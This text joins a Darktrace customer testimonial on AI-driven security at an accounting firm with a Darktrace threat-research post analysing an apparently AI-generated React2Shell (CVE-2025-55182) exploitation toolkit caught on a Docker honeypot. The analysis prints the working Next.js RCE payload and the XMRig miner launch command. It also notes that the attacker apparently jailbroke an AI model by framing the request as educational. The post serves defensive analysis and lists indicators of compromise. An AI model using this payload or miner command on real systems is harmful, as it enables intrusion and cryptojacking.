Why AI is essential to modern security

As attackers use automation and AI to outpace traditional tools and people, our approach to cybersecurity must fundamentally change. That’s why one of my first priorities as Withum's CIO was to elevate cybersecurity from a technical function to a business enabler.

What used to be “IT’s problem” is now a boardroom conversation – and for good reason. Protecting our data, our people, and our clients directly impacts revenue, reputation and competitive positioning.  

As CIOs / CISOs, our responsibilities aren’t just keeping systems running, but enabling trust, protecting our organization's reputation, and giving the business confidence to move forward even as the digital world becomes less predictable. To pull that off, we need to know the business inside-out, understand risk, and anticipate what's coming next. That's where AI becomes essential.

Staying ahead when you’re a natural target

With more than 3,100 team members and over 1,000 CPAs (Certified Public Accountant), Withum’s operates in an industry that naturally attracts attention from attackers. Firms like ours handle highly sensitive financial and personal information, which puts us squarely in the crosshairs for sophisticated phishing, ransomware, and cloud-based attacks.

We’ve built our security program around resilience, visibility, and scale. By using Darktrace’s AI-powered platform, we can defend against both known and unknown threats, across email and network, without slowing our teams down.

Our focus is always on what we’re protecting: our clients’ information, our intellectual property, and the reputation of the firm. With Darktrace, we’re not just keeping up with the massive volume of AI-powered attacks coming our way, we’re staying ahead. The platform defends our digital ecosystem around the clock, detecting potential threats across petabytes of data and autonomously investigating and responding to tens of thousands of incidents every year.

Catching what traditional tools miss

Beyond the sheer scale of attacks, Darktrace ActiveAI Security PlatformTM is critical for identifying threats that matter to our business. Today’s attackers don’t use generic techniques. They leverage automation and AI to craft highly targeted attacks – impersonating trusted colleagues, mimicking legitimate websites, and weaving in real-world details that make their messages look completely authentic.

The platform, covering our network, endpoints, inboxes, cloud and more is so effective because it continuously learns what’s normal for our business: how our users typically behave, the business- and industry-specific language we use, how systems communicate, and how cloud resources are accessed. It picks up on minute details that would sail right past traditional tools and even highly trained security professionals.

Freeing up our team to do what matters

On average, Darktrace autonomously investigates 88% of all our security events, using AI to connect the dots across email, network, and cloud activity to figure out what matters. That shift has changed how our team works. Instead of spending hours sorting through alerts, we can focus on proactive efforts that actually strengthen our security posture.

For example, we saved 1,850 hours on investigating security issues over a ten-day period. We’ve reinvested the time saved into strengthening policies, refining controls, and supporting broader business initiatives, rather than spending endless hours manually piecing together alerts.

Real confidence, real results

The impact of our AI-driven approach goes well beyond threat detection. Today, we operate from a position of confidence, knowing that threats are identified early, investigated automatically, and communicated clearly across our organization.

That confidence was tested when we withstood a major ransomware attack by a well-known threat group. Not only were we able to contain the incident, but we were able to trace attacker activity and provided evidence to law enforcement. That was an exhilarating experience! My team did an outstanding job, and moments like that reinforce exactly why we invest in the right technology and the right people.

Internally, this capability has strengthened trust at the executive level. We share security reporting regularly with leadership, translating technical activity into business-relevant insights. That transparency reinforces cybersecurity as a shared responsibility, one that directly supports growth, continuity, and reputation.

Culturally, we’ve embedded security awareness into daily operations through mandatory monthly training, executive communication, and real-world industry examples that keep cybersecurity top of mind for every employee.

The only headlines we want are positive ones: Withum expanding services, Withum growing year over year. Security plays a huge role in making sure that’s the story we get to tell.

What’s next

Looking ahead, we’re expanding our use of Darktrace, including new cloud capabilities that extend AI-driven visibility and investigation into our AWS and Azure environments.

As I continue shaping our security team, I look for people with passion, curiosity, and a genuine drive to solve problems. Those qualities matter just as much as formal credentials in my view. Combined with AI, these attributes help us build a resilient, engaged security function with low turnover and high impact.

For fellow technology leaders, my advice is simple: be forward-thinking and embrace change. We must understand the business, the threat landscape, and how technology enables both. By augmenting human expertise rather than replacing it, AI allows us to move upstream by anticipating risk, advising the business, and fostering stronger collaboration across teams.

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Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

A recently observed intrusion against Darktrace’s Cloudypots environment revealed a fully AI‑generated malware sample exploiting CVE-2025-55182, also known as React2Shell. As AI‑assisted software development (“vibecoding”) becomes more widespread, attackers are increasingly leveraging large language models to rapidly produce functional tooling. This incident illustrates a broader shift: AI is now enabling even low-skill operators to generate effective exploitation frameworks at speed. This blog examines the attack chain, analyzes the AI-generated payload, and outlines what this evolution means for defenders.

Initial access

The intrusion was observed against the Darktrace Docker honeypot, which intentionally exposes the Docker daemon internet-facing with no authentication. This configuration allows any attacker to discover the daemon and create a container via the Docker API.

The attacker was observed spawning a container named “python-metrics-collector”, configured with a start up command that first installed prerequisite tools including curl, wget, and python 3.

Subsequently, it will download a list of required python packages from

• hxxps://pastebin[.]com/raw/Cce6tjHM,

Finally it will download and run a python script from:

• hxxps://smplu[.]link/dockerzero.

This link redirects to a GitHub Gist hosted by user “hackedyoulol”, who has since been banned from GitHub at time of writing.

• hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

Notably the script did not contain a docker spreader – unusual for Docker-focused malware – indicating that propagation was likely handled separately from a centralized spreader server.

Deployed components and execution chain

The downloaded Python payload was the central execution component for the intrusion. Obfuscation by design within the sample was reinforced between the exploitation script and any spreading mechanism. Understanding that docker malware samples typically include their own spreader logic, the omission suggests that the attacker maintained and executed a dedicated spreading tool remotely.

The script begins with a multi-line comment:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

This is very telling, as the overwhelming majority of samples analysed do not feature this level of commentary in files, as they are often designed to be intentionally difficult to understand to hinder analysis. Quick scripts written by human operators generally prioritize speed and functionality over clarity. LLMs on the other hand will document all code with comments very thoroughly by design, a pattern we see repeated throughout the sample.  Further, AI will refuse to generate malware as part of its safeguards.

The presence of the phrase “Educational/Research Purpose Only” additionally suggests that the attacker likely jailbroke an AI model by framing the malicious request as educational.

When portions of the script were tested in AI‑detection software, the output further indicated that the code was likely generated by a large language model.

The script is a well constructed React2Shell exploitation toolkit, which aims to gain remote code execution and deploy a XMRig (Monero) crypto miner. It uses an IP‑generation loop to identify potential targets and executes a crafted exploitation request containing:

• A deliberately structured Next.js server component payload
• A chunk designed to force an exception and reveal command output
• A child process invocation to run arbitrary shell commands
  
  def execute_rce_command(base_url, command, timeout=120):  
""" ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
DO NOT MODIFY THIS FUNCTION
Returns: (success, output)  
"""  
try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

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‍This function is initially invoked with ‘whoami’ to determine if the host is vulnerable, before using wget to download XMRig from its GitHub repository and invoking it with a configured mining pool and wallet address.

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]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

Many attackers do not realise that while Monero uses an opaque blockchain (so transactions cannot be traced and wallet balances cannot be viewed), mining pools such as supportxmr will publish statistics for each wallet address that are publicly available. This makes it trivial to track the success of the campaign and the earnings of the attacker.

Based on this information we can determine the attacker has made approx 0.015 XMR total since the beginning of this campaign, which as of writing is valued at £5. Per day, the attacker is generating 0.004 XMR, which is £1.33 as of writing. The worker count is 91, meaning that 91 hosts have been infected by this sample.

Conclusion

While the amount of money generated by the attacker in this case is relatively low, and cryptomining is far from a new technique, this campaign is proof that AI based LLMs have made cybercrime more accessible than ever. A single prompting session with a model was sufficient for this attacker to generate a functioning exploit framework and compromise more than ninety hosts, demonstrating that the operational value of AI for adversaries should not be underestimated.

CISOs and SOC leaders should treat this event as a preview of the near future. Threat actors can now generate custom malware on demand, modify exploits instantly, and automate every stage of compromise. Defenders must prioritize rapid patching, continuous attack surface monitoring, and behavioral detection approaches. AI‑generated malware is no longer theoretical — it is operational, scalable, and accessible to anyone.

Analyst commentary

It is worth noting that the downloaded script does not appear to include a Docker spreader, meaning the malware will not replicate to other victims from an infected host. This is uncommon for Docker malware, based on other samples analyzed by Darktrace researchers. This indicates that there is a separate script responsible for spreading, likely deployed by the attacker from a central spreader server. This theory is supported by the fact that the IP that initiated the connection, 49[.]36.33.11, is registered to a residential ISP in India. While it is possible the attacker is using a residential proxy server to cover their tracks, it is also plausible that they are running the spreading script from their home computer. However, this should not be taken as confirmed attribution.

Credit to Nathaniel Bill (Malware Research Engineer), Nathaniel Jones ( VP Threat Research | Field CISO AI Security)

Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d